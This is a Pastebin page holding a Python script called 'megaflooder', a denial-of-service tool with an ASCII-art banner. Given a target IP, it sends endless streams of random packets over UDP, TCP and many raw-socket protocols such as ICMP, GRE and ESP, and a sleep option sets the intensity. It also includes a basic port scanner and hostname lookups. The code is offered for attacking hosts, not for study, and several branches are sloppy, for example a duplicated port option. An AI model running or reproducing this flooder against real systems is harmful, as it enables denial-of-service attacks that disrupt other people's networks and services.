Advertisement
Guest User

python megaflooder

a guest
Jan 15th, 2012
196
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 13.01 KB | None | 0 0
  1. import optparse
  2. import socket
  3. import os
  4. import random
  5. import time
  6. import sys
  7.  
  8.  
  9. if __name__=="__main__":
  10.  
  11.     usage=("""
  12.  
  13.  
  14. usage: %prog [options]
  15.  
  16.            @@@@@@@@@@   @@@@@@@@   @@@@@@@@   @@@@@@              
  17.            @@@@@@@@@@@  @@@@@@@@  @@@@@@@@@  @@@@@@@@            
  18.            @@! @@! @@!  @@!       !@@        @@!  @@@        
  19.            !@! !@! !@!  !@!       !@!        !@!  @!@            
  20.            @!! !!@ @!@  @!!!:!    !@! @!@!@  @!@!@!@!  @!@!@!@!@  
  21.            !@!   ! !@!  !!!!!:    !!! !!@!!  !!!@!!!!  !!!@!@!!!  
  22.            !!:     !!:  !!:       :!!   !!:  !!:  !!!            
  23.            :!:     :!:  :!:       :!:   !::  :!:  !:!            
  24.            :::     ::    :: ::::   ::: ::::  ::   :::            
  25.             :      :    : :: ::    :: :: :    :   : :            
  26.                                                                  
  27.                                                                          
  28.     @@@@@@@@  @@@        @@@@@@    @@@@@@   @@@@@@@   @@@@@@@@  @@@@@@@  
  29.     @@@@@@@@  @@@       @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  @@@@@@@@  
  30.     @@!       @@!       @@!  @@@  @@!  @@@  @@!  @@@  @@!       @@!  @@@  
  31.     !@!       !@!       !@!  @!@  !@!  @!@  !@!  @!@  !@!       !@!  @!@  
  32.     @!!!:!    @!!       @!@  !@!  @!@  !@!  @!@  !@!  @!!!:!    @!@!!@!  
  33.     !!!!!:    !!!       !@!  !!!  !@!  !!!  !@!  !!!  !!!!!:    !!@!@!    
  34.     !!:       !!:       !!:  !!!  !!:  !!!  !!:  !!!  !!:       !!: :!!  
  35.     :!:        :!:      :!:  !:!  :!:  !:!  :!:  !:!  :!:       :!:  !:!  
  36.      ::        :: ::::  ::::: ::  ::::: ::   :::: ::   :: ::::  ::   :::  
  37.      :        : :: : :   : :  :    : :  :   :: :  :   : :: ::    :   : :""")
  38.  
  39.    
  40.  
  41.     parser=optparse.OptionParser(usage)
  42.     parser.add_option("-u", "--UDP",help="UDP")
  43.     parser.add_option("-t", "--TCP",help="TCP")
  44.     parser.add_option("-a", "--ICMP",help="ICMP")
  45.     parser.add_option("-c", "--IGMP",help="IGMP")
  46.     parser.add_option("-d", "--IPIP",help="IPIP")
  47.     parser.add_option("-e", "--EGP",help="EGP")
  48.     parser.add_option("-f", "--PUP",help="PUP")
  49.     parser.add_option("-g", "--RSVP",help="RSVP")
  50.     parser.add_option("-z", "--IDP",help="XNS IDP")
  51.     parser.add_option("-j", "--GRE",help="Cisco GRE Tunnels")
  52.     parser.add_option("-k","--RAW",help="Raw Packets")
  53.     parser.add_option("-l","--UDPL",help="UDP Lite")
  54.     parser.add_option("-m","--PIM",help="PIM")
  55.     parser.add_option("-o", "--ESP",help="ESP")
  56.     parser.add_option("-q", "--IPV6",help="IPv6 in IPv4 Tunneling")
  57.     parser.add_option("-p", "--port",help="Port of attack",type="int",dest="port",default=None)
  58.     parser.add_option("-i", "--ip",help="Target IP",type="string",dest="ip")
  59.     parser.add_option("-b", "--bytes",help="Size of data in bytes. The larger the size, the slower the send speed.",type="int")
  60.     parser.add_option("-s","--sleeper",help="Alter the intensity by altering how long the program sleeps in between sending. Too high will time it out. Standard=0.01")
  61.     parser.add_option("-w","--SCAN",help="Domain to port scan",dest="SCAN")
  62.     parser.add_option("-y","--HOST",help="Get host name. Enter domain")
  63.     parser.add_option("-p","--port",help="Port to flood",type="int",dest="port")
  64.     parser.add_option("-n","--CONVERT",help="Convert ip to domain name")
  65.    
  66.     options, args = parser.parse_args()
  67.  
  68. if options.UDP:              
  69.     sent=0
  70.     sock=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
  71.     ip=options.ip
  72.     while True:
  73.         port=random.randint(15,1024)
  74.         bytes=os.urandom(options.bytes)
  75.         try:
  76.             sock.sendto(bytes,(ip,port))
  77.             print("Sent %s UDP packets to %s at port %s") % (sent,ip,port)
  78.             time.sleep(float(options.sleeper))
  79.             sent=sent+1
  80.        
  81.         except KeyboardInterrupt:
  82.             break
  83. elif options.TCP:
  84.     sent=0
  85.     sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
  86.     ip=options.ip
  87.     port=random.randint(15,1025)
  88.     addr=((ip,port))
  89.     sock.connect(addr)
  90.     sock.settimeout(None)
  91.     while True:
  92.         bytes=os.urandom(options.bytes)
  93.         port=random.randint(15,1024)
  94.         try:
  95.             sock.sendto(bytes,(addr))
  96.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  97.             sent=sent+1
  98.         except socket.error:
  99.             print "The host has closed the connection. Please run the program again."
  100.             break
  101.    
  102.        
  103.        
  104. elif options.ICMP:
  105.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ICMP)
  106.     ip=options.ip
  107.     port=random.randint(15,1025)
  108.     addr=(ip,port)
  109.     sock.connect(addr)
  110.     sock.settimeout(None)
  111.     sent=0
  112.     while True:
  113.         bytes=os.urandom(options.bytes)
  114.         port=random.randint(15,1024)
  115.         try:
  116.             sock.sendto(bytes,(addr))
  117.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  118.             sent=sent+1
  119.         except socket.error:
  120.             print "The host has closed the connection. Please run the program again."
  121.             break
  122.  
  123.  
  124. elif options.IGMP:
  125.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_IGMP)
  126.     ip=options.ip
  127.     port=random.randint(15,1025)
  128.     addr=(ip,port)
  129.     sock.connect(addr)
  130.     sock.settimeout(None)
  131.     sent=0
  132.     while True:
  133.         bytes=os.urandom(options.bytes)
  134.         port=random.randint(15,1024)
  135.         try:
  136.             sock.sendto(bytes,(addr))
  137.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  138.             sent=sent+1
  139.         except socket.error:
  140.             print "The host has closed the connection. Please run the program again."
  141.             break
  142.  
  143. elif options.IPIP:
  144.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_IPIP)
  145.     ip=options.ip
  146.     port=random.randint(15,1025)
  147.     addr=(ip,port)
  148.     sock.connect(addr)
  149.     sock.settimeout(None)
  150.     sent=0
  151.     while True:
  152.         bytes=os.urandom(options.bytes)
  153.         port=random.randint(15,1024)
  154.         try:
  155.             sock.sendto(bytes,(addr))
  156.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  157.             sent=sent+1
  158.         except socket.error:
  159.             print "The host has closed the connection. Please run the program again."
  160.             break
  161. elif options.EGP:
  162.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_EGP)
  163.     ip=options.ip
  164.     port=random.randint(15,1025)
  165.     addr=(ip,port)
  166.     sock.connect(addr)
  167.     sock.settimeout(None)
  168.     sent=0
  169.     while True:
  170.         bytes=os.urandom(options.bytes)
  171.         port=random.randint(15,1025)
  172.         try:
  173.             sock.sendto(bytes,(addr))
  174.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  175.             sent=sent+1
  176.         except socket.error:
  177.             print "The host has closed the connection. Please run the program again."
  178.             break
  179.  
  180.  
  181. elif options.PUP:
  182.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_PUP)
  183.     ip=options.ip
  184.     port=random.randint(15,1025)
  185.     addr=(ip,port)
  186.     sock.connect(addr)
  187.     sock.settimeout(None)
  188.     sent=0
  189.     while True:
  190.         bytes=os.urandom(options.bytes)
  191.         port=random.randint(15,1024)
  192.         try:
  193.             sock.sendto(bytes,(addr))
  194.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  195.             sent=sent+1
  196.         except socket.error:
  197.             print "The host has closed the connection. Please run the program again."
  198.             break
  199.  
  200. elif options.RSVP:
  201.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_RSVP)
  202.     ip=options.ip
  203.     port=random.randint(15,1025)
  204.     addr=(ip,port)
  205.     sock.connect(addr)
  206.     sock.settimeout(None)
  207.     sent=0
  208.     while True:
  209.         bytes=os.urandom(options.bytes)
  210.         port=random.randint(15,1024)
  211.         try:
  212.             sock.sendto(bytes,(addr))
  213.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  214.             sent=sent+1
  215.         except socket.error:
  216.             print "The host has closed the connection. Please run the program again."
  217.             break
  218. elif options.IDP:
  219.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_IDP)
  220.     ip=options.ip
  221.     port=random.randint(15,1025)
  222.     addr=(ip,port)
  223.     sock.connect(addr)
  224.     sock.settimeout(None)
  225.     sent=0
  226.     while True:
  227.         bytes=os.urandom(options.bytes)
  228.         port=random.randint(15,1024)
  229.         try:
  230.             sock.sendto(bytes,(addr))
  231.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  232.             sent=sent+1
  233.         except socket.error:
  234.             print "The host has closed the connection. Please run the program again."
  235.             break
  236.  
  237.  
  238. elif options.GRE:
  239.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_GRE)
  240.     ip=options.ip
  241.     port=random.randint(15,1025)
  242.     addr=(ip,port)
  243.     sock.connect(addr)
  244.     sock.settimeout(None)
  245.     sent=0
  246.     while True:
  247.         bytes=os.urandom(options.bytes)
  248.         port=random.randint(15,1024)
  249.         try:
  250.             sock.sendto(bytes,(addr))
  251.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  252.             sent=sent+1
  253.         except socket.error:
  254.             print "The host has closed the connection. Please run the program again."
  255.             break
  256.  
  257. elif options.RAW:
  258.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_RAW)
  259.     ip=options.ip
  260.     port=random.randint(15,1025)
  261.     addr=(ip,port)
  262.     sock.connect(addr)
  263.     sock.settimeout(None)
  264.     sent=0
  265.     while True:
  266.         bytes=os.urandom(options.bytes)
  267.         port=random.randint(15,1024)
  268.         try:
  269.             sock.sendto(bytes,(addr))
  270.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  271.             sent=sent+1
  272.         except socket.error:
  273.             print "The host has closed the connection. Please run the program again."
  274.             break
  275.  
  276. elif options.IPV6:
  277.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_IPV6)
  278.     ip=options.ip
  279.     port=random.randint(15,1025)
  280.     addr=(ip,port)
  281.     sock.connect(addr)
  282.     sock.settimeout(None)
  283.     sent=0
  284.     while True:
  285.         bytes=os.urandom(options.bytes)
  286.         port=random.randint(15,1024)
  287.         try:
  288.             sock.sendto(bytes,(addr))
  289.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  290.             sent=sent+1
  291.         except socket.error:
  292.             print "The host has closed the connection. Please run the program again."
  293.             break
  294.  
  295.  
  296. elif options.ESP:
  297.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_ESP)
  298.     ip=options.ip
  299.     port=random.randint(15,1025)
  300.     addr=(ip,port)
  301.     sock.connect(addr)
  302.     sock.settimeout(None)
  303.     sent=0
  304.     while True:
  305.         bytes=os.urandom(options.bytes)
  306.         port=random.randint(15,1024)
  307.         try:
  308.             sock.sendto(bytes,(addr))
  309.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  310.             sent=sent+1
  311.         except socket.error:
  312.             print "The host has closed the connection. Please run the program again."
  313.             break
  314.  
  315.  
  316. elif options.PIM:
  317.         sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_PIM)
  318.         ip=options.ip
  319.         port=random.randint(15,1025)
  320.         addr=(ip,port)
  321.         sock.connect(addr)
  322.         sock.settimeout(None)
  323.         sent=0
  324.         while True:
  325.             bytes=os.urandom(options.bytes)
  326.             port=random.randint(15,1024)
  327.             try:
  328.                 sock.sendto(bytes,(addr))
  329.                 print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  330.                 sent=sent+1
  331.             except socket.error:
  332.                 print "The host has closed the connection. Please run the program again."
  333.                 break
  334.  
  335. elif options.UDPL:
  336.     sock=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket.IPPROTO_UDP)
  337.     ip=options.ip
  338.     port=random.randint(15,1025)
  339.     addr=(ip,port)
  340.     sock.connect(addr)
  341.     sock.settimeout(None)
  342.     sent=0
  343.     while True:
  344.         bytes=os.urandom(options.bytes)
  345.         port=random.randint(15,1024)
  346.         try:
  347.             sock.sendto(bytes,(addr))
  348.             print("Sent %s packets to %s at port %s ") % (sent,ip,port)
  349.             sent=sent+1
  350.         except socket.error:
  351.             print "The host has closed the connection. Please run the program again."
  352.             break
  353.  
  354.  
  355. elif options.SCAN:
  356.     target = options.SCAN
  357.     targetIP = socket.gethostbyname(target)
  358.    
  359.     print 'Scanning ', targetIP, "for open ports..."
  360.    
  361.     for i in range(20, 1025):  
  362.      sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  363.  
  364.      result = sock.connect_ex((targetIP,i))  
  365.  
  366.      if(result==0) :
  367.       print "Port %d: OPEN" % (i,)
  368.  
  369.      sock.close()
  370.  
  371. elif options.HOST:
  372.     target=str(options.HOST)
  373.     TGT_IP=socket.gethostbyname(target)
  374.     print "The IP of %s is %s" % (target,TGT_IP)
  375.  
  376. elif options.CONVERT:
  377.     target=str(options.CONVERT)
  378.     TGT_DMN=socket.gethostbyaddr(target)
  379.     print "The domain name of %s is %s" % (target,TGT_DMN)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement